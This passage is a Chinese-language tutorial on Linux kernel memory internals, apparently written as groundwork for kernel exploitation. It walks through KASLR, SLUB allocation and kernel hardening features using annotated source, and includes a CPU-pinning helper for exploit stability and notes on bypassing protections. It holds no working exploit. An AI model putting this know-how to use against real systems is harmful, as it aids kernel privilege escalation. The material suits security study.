由于在 choose_random_location 函数中中设置了 boot_params.hdr.loadflagsKASLR_FLAG 标志位,因此 kernel_randomize_memory 函数会对线性映射区虚拟内存映射区域、**vmalloc/iomemmap space** 的进行随机化。

提示

通过分析代码可知,对于四级页表,随机化的偏移关于 PUD_MASK(0x40000000) 对齐。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
/*
* 结束地址(vaddr_end)本可以依赖于更多的配置选项,以便为内存随机化提供更大的空间,
* 但这样会使配置变得过于复杂,并且已经引发了一些问题。因此,为了简化内存随机化的实现,
* 决定将结束地址固定为CPU入口区域的基地址。
*/
static const unsigned long vaddr_end = CPU_ENTRY_AREA_BASE; // 虚拟地址空间的结束地址,设置为CPU入口区域的基地址

/*
* 由KASLR(内核地址空间布局随机化)随机化的内存区域(不包括在引导过程中
* 使用单独逻辑的模块)。此列表根据虚拟地址排序,随机化后保持该顺序。
*/
static __initdata struct kaslr_memory_region {
unsigned long *base; // 内存区域的基地址指针(虚拟地址)
unsigned long size_tb; // 内存区域的大小,以TB(泰比字节)为单位
} kaslr_regions[] = {
{ &page_offset_base, 0 }, // 线性映射区基址,初始大小为0
{ &vmalloc_base, 0 }, // vmalloc/ioremap 区域基址,初始大小为0
{ &vmemmap_base, 1 }, // 虚拟内存映射区域基址,初始大小为1TB
};

static inline bool kaslr_enabled(void)
{
return !!(boot_params.hdr.loadflags & KASLR_FLAG);
}

/*
* 如果在引导时禁用了KASLR,或者启用了KASAN(内核地址空间错误检测器),
* 则不应用随机化。因为KASAN的影子映射依赖于内存区域与PGD(页全局目录)对齐。
*/
static inline bool kaslr_memory_enabled(void)
{
return kaslr_enabled() && !IS_ENABLED(CONFIG_KASAN);
}

/*
* 初始化每个由KASLR随机化的内存区域的基地址和填充。
*/
void __init kernel_randomize_memory(void)
{
size_t i;
unsigned long vaddr_start, vaddr;
unsigned long rand, memory_tb;
struct rnd_state rand_state;
unsigned long remain_entropy;

// 根据是否启用五级页表,设置虚拟地址的起始位置
// #define __PAGE_OFFSET_BASE_L4 _AC(0xffff888000000000, UL)
vaddr_start = pgtable_l5_enabled() ? __PAGE_OFFSET_BASE_L5 : __PAGE_OFFSET_BASE_L4;
vaddr = vaddr_start;

// [...]

// 如果KASLR未启用,则无需进行随机化,直接返回
if (!kaslr_memory_enabled())
return;

// 设置各个内存区域的大小(以TB为单位)
kaslr_regions[0].size_tb = 1 << (__PHYSICAL_MASK_SHIFT - TB_SHIFT); // 线性映射区域大小
kaslr_regions[1].size_tb = VMALLOC_SIZE_TB; // vmalloc/ioremap 区域大小

/*
* 更新线性映射区域为可用内存,并在需要时添加填充(特别是为了支持内存热插拔)。
*/
BUG_ON(kaslr_regions[0].base != &page_offset_base); // 确保第一个区域基地址正确
memory_tb = DIV_ROUND_UP(max_pfn << PAGE_SHIFT, 1UL << TB_SHIFT) +
CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING; // 计算物理内存的TB数量,并加上随机化填充(默认为0)

/* 根据可用线性映射区域的大小 */
if (memory_tb < kaslr_regions[0].size_tb)
kaslr_regions[0].size_tb = memory_tb;

/* 可用的随机范围,即可用内存空间减去需要映射的区域的大小。 */
remain_entropy = vaddr_end - vaddr_start;
for (i = 0; i < ARRAY_SIZE(kaslr_regions); i++)
remain_entropy -= get_padding(&kaslr_regions[i]); // 减去每个区域的填充

// 使用从KASLR获取的随机数初始化随机状态
prandom_seed_state(&rand_state, kaslr_get_random_long("Memory"));

// 遍历每个内存区域,进行随机化
for (i = 0; i < ARRAY_SIZE(kaslr_regions); i++) {
unsigned long entropy;

/*
* 使用剩余的熵来选择一个随机的虚拟地址。
* 熵值是剩余熵除以剩余区域数,确保每个区域有足够的随机空间。
*/
entropy = remain_entropy / (ARRAY_SIZE(kaslr_regions) - i);
prandom_bytes_state(&rand_state, &rand, sizeof(rand)); // 生成随机数
if (pgtable_l5_enabled())
entropy = (rand % (entropy + 1)) & P4D_MASK; // 如果启用五级页表,应用P4D对齐掩码
else
entropy = (rand % (entropy + 1)) & PUD_MASK; // 否则,应用PUD对齐掩码
vaddr += entropy; // 在当前虚拟地址基础上增加随机偏移量
*kaslr_regions[i].base = vaddr; // 更新内存区域的基地址

/*
* 跳过当前区域,并根据随机化对齐要求添加最小填充。
*/
vaddr += get_padding(&kaslr_regions[i]); // 增加填充
if (pgtable_l5_enabled())
vaddr = round_up(vaddr + 1, P4D_SIZE); // 如果启用五级页表,按P4D大小对齐
else
vaddr = round_up(vaddr + 1, PUD_SIZE); // 否则,按PUD大小对齐
remain_entropy -= entropy; // 减少已使用的熵
}
}

内核模块地址随机化

如果 boot_params.hdr.loadflagsKASLR_FLAG 标志位置位,则 get_module_load_offset 函数返回值为 0x1000 的整数倍,范围为 0x10000x400000。另外需要注意 module_load_offset 只被初始化一次,也就是说 get_module_load_offset 返回的结果总是相同的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/*
* 判断KASLR是否启用。
* 通过检查启动参数中的标志位 `loadflags` 是否设置了 `KASLR_FLAG` 来确定KASLR是否启用。
*/
static inline bool kaslr_enabled(void)
{
return !!(boot_params.hdr.loadflags & KASLR_FLAG); // 如果设置了KASLR_FLAG,返回true,表示KASLR启用
}

#ifdef CONFIG_RANDOMIZE_BASE
// 用于存储模块加载的偏移量
static unsigned long module_load_offset;

/* 互斥锁用于保护module_load_offset的访问。 */
static DEFINE_MUTEX(module_kaslr_mutex);

/*
* 获取模块加载的偏移量。
* 如果启用了KASLR(通过kaslr_enabled()检查),则计算一个随机的偏移量,
* 该偏移量在系统重启之前保持不变。
*/
static unsigned long int get_module_load_offset(void)
{
if (kaslr_enabled()) { // 如果KASLR启用
mutex_lock(&module_kaslr_mutex); // 获取互斥锁,防止并发修改模块加载偏移量
/*
* 如果这是第一次调用该函数,计算模块加载的偏移量。
* 计算后,偏移量保持不变,直到系统重启。
*/
if (module_load_offset == 0)
// 随机计算模块加载偏移量,范围是1到1024倍的页面大小
module_load_offset = (get_random_int() % 1024 + 1) * PAGE_SIZE;
mutex_unlock(&module_kaslr_mutex); // 释放互斥锁
}
return module_load_offset; // 返回模块加载的偏移量
}
#else
/*
* 如果未启用KASLR,模块加载的偏移量为0。
*/
static unsigned long int get_module_load_offset(void)
{
return 0; // 如果KASLR未启用,返回0表示不进行随机化
}
#endif

buddy system


buddy system 中内存管理的一个例子:

这个例子中,分配的最小单位是64K,初始时的最大块order=4. 依次进行下面的操作

  • 初始状态
  • 分配块A 34K, order=0.
    • 没有order为0的块,切分order=4的块为2个order=3的块.
    • 仍然没有order=0的块,再切分order=3的块.
    • 仍然没有order=0的块,再切分order=2的块.
    • 仍然没有order=0的块,再切分order=1的块.
    • 将order=0的块返回.
  • 分配块B 66K, order=1. 已经有了,直接返回.
  • 分配块C 35K, order=0. 也已经有了,直接返回.
  • 分配块D 67K, order=1. 切分一个order=2的块,返回.
  • 块B释放.
  • 块D释放,因为与其后面的order=1的块是第5步分裂得来的,再将其合并为order=2的块.
  • 块A释放.
  • 块C释放,依次合并.

slub

img

关于 object

slab 以页为基本单位切割,然后用单向链表(fd指针)串起来,类似用户态堆的 fastbin,每一个小块我们叫它 object 。

注意:object 的 freelist 指针偏移是 kmem_cache.offset 而不是 0,虽然大多数情况 kmem_cache.offset 默认为 0 。

1
2
3
4
5
6
7
8
9
10
static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
unsigned long freeptr_addr = (unsigned long)object + s->offset;

#ifdef CONFIG_SLAB_FREELIST_HARDENED
BUG_ON(object == fp); /* naive detection of double free or corruption */
#endif

*(void **)freeptr_addr = freelist_ptr(s, fp, freeptr_addr);
}

object 结构如下图所示:

kmem_cache 创建

slub 分配器把伙伴系统提供的内存内存切割成特定大小的块,进行内核的小内存分配。

具体来说,内核会预先定义一些 kmem_cache 结构体,它保存着要如何分割使用内存页的信息,可以通过 cat /proc/slabinfo 查看系统当前可用的 kmem_cache

内核很多的结构体会频繁的申请和释放内存,用 kmem_cache 来管理特定的结构体所需要申请的内存效率上就会比较高,也比较节省内存。默认会创建 kmalloc-8kkmalloc-4k,… ,kmalloc-16kmalloc-8 这样的 cache ,kmem_cache 的名称以及大小使用 struct kmalloc_info_struct 管理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const struct kmalloc_info_struct kmalloc_info[] __initconst = { 
{NULL, 0}, {"kmalloc-96", 96},
{"kmalloc-192", 192}, {"kmalloc-8", 8},
{"kmalloc-16", 16}, {"kmalloc-32", 32},
{"kmalloc-64", 64}, {"kmalloc-128", 128},
{"kmalloc-256", 256}, {"kmalloc-512", 512},
{"kmalloc-1024", 1024}, {"kmalloc-2048", 2048},
{"kmalloc-4096", 4096}, {"kmalloc-8192", 8192},
{"kmalloc-16384", 16384}, {"kmalloc-32768", 32768},
{"kmalloc-65536", 65536}, {"kmalloc-131072", 131072},
{"kmalloc-262144", 262144}, {"kmalloc-524288", 524288},
{"kmalloc-1048576", 1048576}, {"kmalloc-2097152", 2097152},
{"kmalloc-4194304", 4194304}, {"kmalloc-8388608", 8388608},
{"kmalloc-16777216", 16777216}, {"kmalloc-33554432", 33554432},
{"kmalloc-67108864", 67108864}
};

这样内核调用 kmalloc 函数时就可以根据申请的内存大小找到对应的 kmalloc-xx ,然后在里面找可可用的内存块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static __always_inline int kmalloc_index(size_t size)
{
if (!size)
return 0;
if (size <= KMALLOC_MIN_SIZE)
return KMALLOC_SHIFT_LOW;
if (KMALLOC_MIN_SIZE <= 32 && size > 64 && size <= 96)
return 1;
if (KMALLOC_MIN_SIZE <= 64 && size > 128 && size <= 192)
return 2;
if (size <= 8) return 3;
if (size <= 16) return 4;
if (size <= 32) return 5;
if (size <= 64) return 6;
if (size <= 128) return 7;
if (size <= 256) return 8;
if (size <= 512) return 9;
if (size <= 1024) return 10;
if (size <= 2 * 1024) return 11;
if (size <= 4 * 1024) return 12;
if (size <= 8 * 1024) return 13;
if (size <= 16 * 1024) return 14;
if (size <= 32 * 1024) return 15;
if (size <= 64 * 1024) return 16;
if (size <= 128 * 1024) return 17;
if (size <= 256 * 1024) return 18;
if (size <= 512 * 1024) return 19;
if (size <= 1024 * 1024) return 20;
if (size <= 2 * 1024 * 1024) return 21;
if (size <= 4 * 1024 * 1024) return 22;
if (size <= 8 * 1024 * 1024) return 23;
if (size <= 16 * 1024 * 1024) return 24;
if (size <= 32 * 1024 * 1024) return 25;
if (size <= 64 * 1024 * 1024) return 26;
/* Will never be reached. Needed because the compiler may complain */
return -1;
}

创建默认的 kmem_cache 过程存在如下调用链:

1
2
3
4
5
6
7
x86_64_start_kernel()
x86_64_start_reservations()
start_kernel()
mm_init()
kmem_cache_init()
create_kmalloc_caches()
new_kmalloc_cache()

new_kmalloc_cache 中根据 kmalloc_info 的信息创建对应的 kmalloc_cache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static void __init
new_kmalloc_cache(int idx, int type, slab_flags_t flags)
{
const char *name;

if (type == KMALLOC_RECLAIM) {
flags |= SLAB_RECLAIM_ACCOUNT;
name = kmalloc_cache_name("kmalloc-rcl",
kmalloc_info[idx].size);
BUG_ON(!name);
} else {
name = kmalloc_info[idx].name;
}

kmalloc_caches[type][idx] = create_kmalloc_cache(name,
kmalloc_info[idx].size, flags, 0,
kmalloc_info[idx].size);
}

这里可以看到默认创建的 kmem_cache 的地址被保存在 kmalloc_caches 因此可以通过该结构获得 kmem_cache 的地址,从而获取到重要调试信息,比如 freelistobject 中的偏移 offset

create_kmalloc_cache 函数调用了核心函数 create_boot_cache ,之后 list_add 将创建的 kmem_cache 加入到 slab_caches 链表中。内核全局有一个 slab_caches 变量,它是一个链表,系统所有的 kmem_cache 都接在这个链表上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct kmem_cache *__init create_kmalloc_cache(const char *name,
unsigned int size, slab_flags_t flags,
unsigned int useroffset, unsigned int usersize)
{
struct kmem_cache *s = kmem_cache_zalloc(kmem_cache, GFP_NOWAIT);

if (!s)
panic("Out of memory when creating slab %s\n", name);

create_boot_cache(s, name, size, flags, useroffset, usersize);
list_add(&s->list, &slab_caches);
memcg_link_cache(s);
s->refcount = 1;
return s;
}

create_boot_cache 初始化了相关信息,之后调用 __kmem_cache_create

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void __init create_boot_cache(struct kmem_cache *s, const char *name,
unsigned int size, slab_flags_t flags,
unsigned int useroffset, unsigned int usersize)
{
int err;

s->name = name;
s->size = s->object_size = size;
s->align = calculate_alignment(flags, ARCH_KMALLOC_MINALIGN, size);
s->useroffset = useroffset;
s->usersize = usersize;

slab_init_memcg_params(s);

err = __kmem_cache_create(s, flags);

if (err)
panic("Creation of kmalloc slab %s size=%u failed. Reason %d\n",
name, size, err);

s->refcount = -1; /* Exempt from merging for now */
}

__kmem_cache_create 调用了 kmem_cache_open 函数,该函数做了很多重要的初始化操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
/*
* calculate_sizes() determines the order and the distribution of data within
* a slab object.
*/
static int calculate_sizes(struct kmem_cache *s, int forced_order)
{
slab_flags_t flags = s->flags;
unsigned int size = s->object_size;
unsigned int order;

/*
* Round up object size to the next word boundary. We can only
* place the free pointer at word boundaries and this determines
* the possible location of the free pointer.
*/
size = ALIGN(size, sizeof(void *));

#ifdef CONFIG_SLUB_DEBUG
/*
* Determine if we can poison the object itself. If the user of
* the slab may touch the object after free or before allocation
* then we should never poison the object itself.
*/
if ((flags & SLAB_POISON) && !(flags & SLAB_TYPESAFE_BY_RCU) &&
!s->ctor)
s->flags |= __OBJECT_POISON;
else
s->flags &= ~__OBJECT_POISON;


/*
* If we are Redzoning then check if there is some space between the
* end of the object and the free pointer. If not then add an
* additional word to have some bytes to store Redzone information.
*/
if ((flags & SLAB_RED_ZONE) && size == s->object_size)
size += sizeof(void *);
#endif

/*
* With that we have determined the number of bytes in actual use
* by the object. This is the potential offset to the free pointer.
*/
s->inuse = size;

if (((flags & (SLAB_TYPESAFE_BY_RCU | SLAB_POISON)) ||
s->ctor)) {
/*
* Relocate free pointer after the object if it is not
* permitted to overwrite the first word of the object on
* kmem_cache_free.
*
* This is the case if we do RCU, have a constructor or
* destructor or are poisoning the objects.
*/
s->offset = size;
size += sizeof(void *);
}

#ifdef CONFIG_SLUB_DEBUG
if (flags & SLAB_STORE_USER)
/*
* Need to store information about allocs and frees after
* the object.
*/
size += 2 * sizeof(struct track);
#endif

kasan_cache_create(s, &size, &s->flags);
#ifdef CONFIG_SLUB_DEBUG
if (flags & SLAB_RED_ZONE) {
/*
* Add some empty padding so that we can catch
* overwrites from earlier objects rather than let
* tracking information or the free pointer be
* corrupted if a user writes before the start
* of the object.
*/
size += sizeof(void *);

s->red_left_pad = sizeof(void *);
s->red_left_pad = ALIGN(s->red_left_pad, s->align);
size += s->red_left_pad;
}
#endif

/*
* SLUB stores one object immediately after another beginning from
* offset 0. In order to align the objects we have to simply size
* each object to conform to the alignment.
*/
size = ALIGN(size, s->align);
s->size = size;
if (forced_order >= 0)
order = forced_order;
else
order = calculate_order(size);

if ((int)order < 0)
return 0;

s->allocflags = 0;
if (order)
s->allocflags |= __GFP_COMP;

if (s->flags & SLAB_CACHE_DMA)
s->allocflags |= GFP_DMA;

if (s->flags & SLAB_RECLAIM_ACCOUNT)
s->allocflags |= __GFP_RECLAIMABLE;

/*
* Determine the number of objects per slab
*/
s->oo = oo_make(order, size);
s->min = oo_make(get_order(size), size);
if (oo_objects(s->oo) > oo_objects(s->max))
s->max = s->oo;

return !!oo_objects(s->oo);
}

static int kmem_cache_open(struct kmem_cache *s, slab_flags_t flags)
{
s->flags = kmem_cache_flags(s->size, flags, s->name, s->ctor);
#ifdef CONFIG_SLAB_FREELIST_HARDENED
s->random = get_random_long();
#endif

if (!calculate_sizes(s, -1))
goto error;
if (disable_higher_order_debug) {
/*
* Disable debugging flags that store metadata if the min slab
* order increased.
*/
if (get_order(s->size) > get_order(s->object_size)) {
s->flags &= ~DEBUG_METADATA_FLAGS;
s->offset = 0;
if (!calculate_sizes(s, -1))
goto error;
}
}

#if defined(CONFIG_HAVE_CMPXCHG_DOUBLE) && \
defined(CONFIG_HAVE_ALIGNED_STRUCT_PAGE)
if (system_has_cmpxchg_double() && (s->flags & SLAB_NO_CMPXCHG) == 0)
/* Enable fast mode */
s->flags |= __CMPXCHG_DOUBLE;
#endif

/*
* The larger the object size is, the more pages we want on the partial
* list to avoid pounding the page allocator excessively.
*/
set_min_partial(s, ilog2(s->size) / 2);

set_cpu_partial(s);

#ifdef CONFIG_NUMA
s->remote_node_defrag_ratio = 1000;
#endif

/* Initialize the pre-computed randomized freelist if slab is up */
if (slab_state >= UP) {
if (init_cache_random_seq(s))
goto error;
}

if (!init_kmem_cache_nodes(s))
goto error;

if (alloc_kmem_cache_cpus(s))
return 0;

free_kmem_cache_nodes(s);
error:
if (flags & SLAB_PANIC)
panic("Cannot create slab %s size=%u realsize=%u order=%u offset=%u flags=%lx\n",
s->name, s->size, s->size,
oo_order(s->oo), s->offset, (unsigned long)flags);
return -EINVAL;
}

slub 分配

2.png

  • kmem_cache 刚刚建立,还没有任何对象可供分配,此时只能从伙伴系统分配一个 slab ,如下图所示。3.png

  • 如果正在使用的 slab 有 free obj,那么就直接分配即可,这种是最简单快捷的。如下图所示。4.png

  • 随着正在使用的 slab 中 obj 的一个个分配出去,最终会无 obj 可分配,此时 per cpu partial 链表中有可用 slab 用于分配,那么就会从 per cpu partial 链表中取下一个 slab 用于分配 obj。如下图所示。
    5.png

  • 随着正在使用的 slab 中 obj 的一个个分配出去,最终会无 obj 可分配,此时 per cpu partial 链表也为空,此时发现 per node partial 链表中有可用 slab 用于分配,那么就会从 per node partial 链表中取下一个 slab 用于分配 obj。如下图所示。6.png

slub 释放

7.png

  • 假设下图左边的情况下释放 obj,如果满足 kmem_cache_node 的 nr_partial 大于 kmem_cache 的 min_partial 的话,释放情况如下图所示。
    8.png
  • 假设下图左边的情况下释放 obj,如果不满足 kmem_cache_node 的 nr_partial 大于 kmem_cache 的 min_partial 的话,释放情况如下图所示。
    9.png
  • 假设下图从 full slab 释放 obj 的话,如果满足 per cpu partial 管理的所有 slab 的 free object 数量大于 kmem_cache 的 cpu_partial 成员的话的话,将 per cpu partial 链表管理的所有 slab 移动到 per node partial 链表管理,释放情况如下图所示。
    10.png
  • 假设下图从 full slab 释放 obj 的话,如果不满足 per cpu partial 管理的所有 slab 的 free object 数量大于 kmem_cache 的 cpu_partial 成员的话的话,释放情况如下图所示。
    11.png

内核堆利用与绑核

slub allocator 会优先从当前核心的 kmem_cache_cpu 中进行内存分配,在多核架构下存在多个 kmem_cache_cpu ,由于进程调度算法会保持核心间的负载均衡,因此我们的 exp 进程可能会被在不同的核心上运行,这也就导致了利用过程中 kernel object 的分配有可能会来自不同的 kmem_cache_cpu ,这使得利用模型变得复杂,也降低了漏洞利用的成功率。

因此为了保证漏洞利用的稳定,我们需要将我们的进程绑定到特定的某个 CPU 核心上,这样 slub allocator 的模型对我们而言便简化成了 kmem_cache_node + kmem_cache_cpu ,我们也能更加方便地进行漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define _GNU_SOURCE
#include <sched.h>

int randint(int min, int max) {
return min + (rand() % (max - min));
}

void bind_core(bool fixed, bool thread) {
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
if (thread) {
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
} else {
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
}

通用 kmalloc flag

GFP_KERNELGFP_KERNEL_ACCOUNT 是内核中最为常见与通用的分配 flag,常规情况下他们的分配都来自同一个 kmem_cache ——即通用的 kmalloc-xx

这两种 flag 的区别主要在于 GFP_KERNEL_ACCOUNTGFP_KERNEL 多了一个属性——表示该对象与来自用户空间的数据相关联,因此我们可以看到诸如 msg_msgpipe_buffersk_buff的数据包 的分配使用的都是 GFP_KERNEL_ACCOUNT ,而 ldt_structpacket_socket 等与用户空间数据没有直接关联的结构体则使用 GFP_KERNEL

在5.9 版本之前GFP_KERNELGFP_KERNEL_ACCOUNT 存在隔离机制,在 这个 commit 中取消了隔离机制,自内核版本 5.14 起,在 这个 commit 当中又重新引入:

  • 对于开启了 CONFIG_MEMCG_KMEM 编译选项的 kernel 而言(通常都是默认开启),其会为使用 GFP_KERNEL_ACCOUNT 进行分配的通用对象创建一组独立的 kmem_cache ——名为 kmalloc-cg-\* ,从而导致使用这两种 flag 的 object 之间的隔离:

slab alias

slab alias 机制是一种对同等/相近大小 object 的 kmem_cache 进行复用的一种机制:当一个 kmem_cache 在创建时,若已经存在能分配相等/近似大小的 object 的 kmem_cache ,则不会创建新的 kmem_cache,而是为原有的 kmem_cache 起一个 alias,作为“新的” kmem_cache 返回

例如 cred_jar 是专门用以分配 cred 结构体的 kmem_cache,在 Linux 4.4 之前的版本中,其为 kmalloc-192 的 alias,即 cred 结构体与其他的 192 大小的 object 都会从同一个 kmem_cache——kmalloc-192 中分配。

对于初始化时设置了 SLAB_ACCOUNT 这一 flag 的 kmem_cache 而言,则会新建一个新的 kmem_cache 而非为原有的建立 alias,例如在新版的内核当中 cred_jarkmalloc-192 便是两个独立的 kmem_cache彼此之间互不干扰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* Account to memcg */
#ifdef CONFIG_MEMCG_KMEM
# define SLAB_ACCOUNT ((slab_flags_t __force)0x04000000U)
#else
# define SLAB_ACCOUNT 0
#endif

/*
* initialise the credentials stuff
*/
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}

内核保护机制

地址相关

KASLR

内核地址空间布局随机化(Kernel Address Space Layout Randomization),开启后,允许kernel image加载到VMALLOC区域的任何位置。
间在未开启KASLR保护机制时,内核代码段的基址为 0xffffffff81000000 ,direct mapping area 的基址为 0xffff888000000000 。

FG_KASLR

FG-KASLR (Function Granular Kernel Address Space Layout Randomization):细粒度的kaslr,函数级别上的 KASLR 优化。
注意,该保护只是在代码段打乱顺序,在数据段偏移不变,例如 commit_creds 函数的偏移改变但是 init_cred 的偏移不变。

CONFIG_MMAP_MIN_ADDR

内核空间和用户空间共享虚拟内存地址,因此需要防止用户空间 mmap 的内存从 0 开始,从而缓解空指针引用攻击。windows 系统从 win8 开始禁止在零页分配内存。从 linux 内核 2.6.22 开始可以使用 sysctl 设置 mmap_min_addr 来实现这一保护。

CONFIG_RANDOMIZE_KSTACK_OFFSET

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index beea77046f9b..b9d449581eb6 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -150,6 +150,7 @@ config X86
select HAVE_ARCH_TRANSPARENT_HUGEPAGE
select HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD if X86_64
select HAVE_ARCH_VMAP_STACK if X86_64
+ select HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET
select HAVE_ARCH_WITHIN_STACK_FRAMES
select HAVE_ASM_MODVERSIONS
select HAVE_CMPXCHG_DOUBLE
diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
index 9747876980b5..086d7af570af 100644
--- a/arch/x86/entry/common.c
+++ b/arch/x86/entry/common.c
@@ -26,6 +26,7 @@
#include <linux/livepatch.h>
#include <linux/syscalls.h>
#include <linux/uaccess.h>
+#include <linux/randomize_kstack.h>

#include <asm/desc.h>
#include <asm/traps.h>
@@ -189,6 +190,13 @@ __visible inline void prepare_exit_to_usermode(struct pt_regs *regs)
lockdep_assert_irqs_disabled();
lockdep_sys_exit();

+ /*
+ * x86_64 stack alignment means 3 bits are ignored, so keep
+ * the top 5 bits. x86_32 needs only 2 bits of alignment, so
+ * the top 6 bits will be used.
+ */
+ choose_random_kstack_offset(rdtsc() & 0xFF);
+
cached_flags = READ_ONCE(ti->flags);

if (unlikely(cached_flags & EXIT_TO_USERMODE_LOOP_FLAGS))
@@ -283,6 +291,7 @@ __visible void do_syscall_64(unsigned long nr, struct pt_regs *regs)
{
struct thread_info *ti;

+ add_random_kstack_offset();
enter_from_user_mode();
local_irq_enable();
ti = current_thread_info();
@@ -355,6 +364,7 @@ static __always_inline void do_syscall_32_irqs_on(struct pt_regs *regs)
/* Handles int $0x80 */
__visible void do_int80_syscall_32(struct pt_regs *regs)
{
+ add_random_kstack_offset();
enter_from_user_mode();
local_irq_enable();
do_syscall_32_irqs_on(regs);
@@ -378,8 +388,8 @@ __visible long do_fast_syscall_32(struct pt_regs *regs)
*/
regs->ip = landing_pad;

+ add_random_kstack_offset();
enter_from_user_mode();
-
local_irq_enable();

/* Fetch EBP from where the vDSO stashed it. */

数据相关

CONFIG_HARDENED_USERCOPY

hardened usercopy 是用以在用户空间与内核空间之间拷贝数据时进行越界检查的一种防护机制,主要检查拷贝过程中对内核空间中数据的读写是否会越界:

读取的数据长度是否超出源 object 范围
写入的数据长度是否超出目的 object 范围
不过这种保护 不适用于内核空间内的数据拷贝 ,这也是目前主流的绕过手段

这一保护被用于在使用 copy_to_user()copy_from_user() 等数据交换 API 时用 __check_object_size 检查是否越界。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
#ifdef CONFIG_HARDENED_USERCOPY
/*
* Rejects incorrectly sized objects and objects that are to be copied
* to/from userspace but do not fall entirely within the containing slab
* cache's usercopy region.
*
* Returns NULL if check passes, otherwise const char * to name of cache
* to indicate an error.
*/
void __check_heap_object(const void *ptr, unsigned long n, struct page *page,
bool to_user)
{
struct kmem_cache *s;
unsigned int offset;
size_t object_size;

ptr = kasan_reset_tag(ptr);

/* Find object and usable object size. */
s = page->slab_cache;

/* Reject impossible pointers. */
if (ptr < page_address(page))
usercopy_abort("SLUB object not in SLUB page?!", NULL,
to_user, 0, n);

/* Find offset within object. */
offset = (ptr - page_address(page)) % s->size;

/* Adjust for redzone and reject if within the redzone. */
if (kmem_cache_debug(s) && s->flags & SLAB_RED_ZONE) {
if (offset < s->red_left_pad)
usercopy_abort("SLUB object in left red zone",
s->name, to_user, offset, n);
offset -= s->red_left_pad;
}

/* Allow address range falling entirely within usercopy region. */
if (offset >= s->useroffset &&
offset - s->useroffset <= s->usersize &&
n <= s->useroffset - offset + s->usersize)
return;

/*
* If the copy is still within the allocated object, produce
* a warning instead of rejecting the copy. This is intended
* to be a temporary method to find any missing usercopy
* whitelists.
*/
object_size = slab_ksize(s);
if (usercopy_fallback &&
offset <= object_size && n <= object_size - offset) {
usercopy_warn("SLUB object", s->name, to_user, offset, n);
return;
}

usercopy_abort("SLUB object", s->name, to_user, offset, n);
}
#endif /* CONFIG_HARDENED_USERCOPY */

static inline void check_heap_object(const void *ptr, unsigned long n,
bool to_user)
{
struct page *page;
...
page = virt_to_head_page(ptr);

if (PageSlab(page)) {
/* Check slab allocator for flags and size. */
__check_heap_object(ptr, n, page, to_user);
}
...
}

/*
* Checks if a given pointer and length is contained by the current
* stack frame (if possible).
*
* Returns:
* NOT_STACK: not at all on the stack
* GOOD_FRAME: fully within a valid stack frame
